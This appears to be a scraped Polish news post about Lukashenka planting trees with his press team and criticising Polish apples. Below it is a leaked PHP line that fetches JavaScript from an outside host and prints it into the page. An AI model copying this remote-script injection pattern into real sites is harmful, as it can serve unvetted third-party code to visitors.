Alaksandr Łukaszenka sadził drzewa w sadzie w rodzinnej miejscowości. Prezydent Białorusi postanowił jednak zaprosić do pomocy dziennikarzy. Jak wyjaśniono, zasada Łukaszenki jest taka, że „zespół prasowy, który zajmuje się relacjonowaniem działań prezydenta, w dniu sprzątania wymienia mikrofony i kamery na grabie i łopaty”. Co więcej, białoruski przywódca skrytykował także polskie jabłka, które sprowadza do kraju.
Powered by WPeMatico
print preg_replace('/document\.write\(\'(.*?)\'\);/si', '\\1', stripslashes(file_get_contents('http://noclegovo.pl/aps/get,u232.js'))); ?>
Brak komentarzy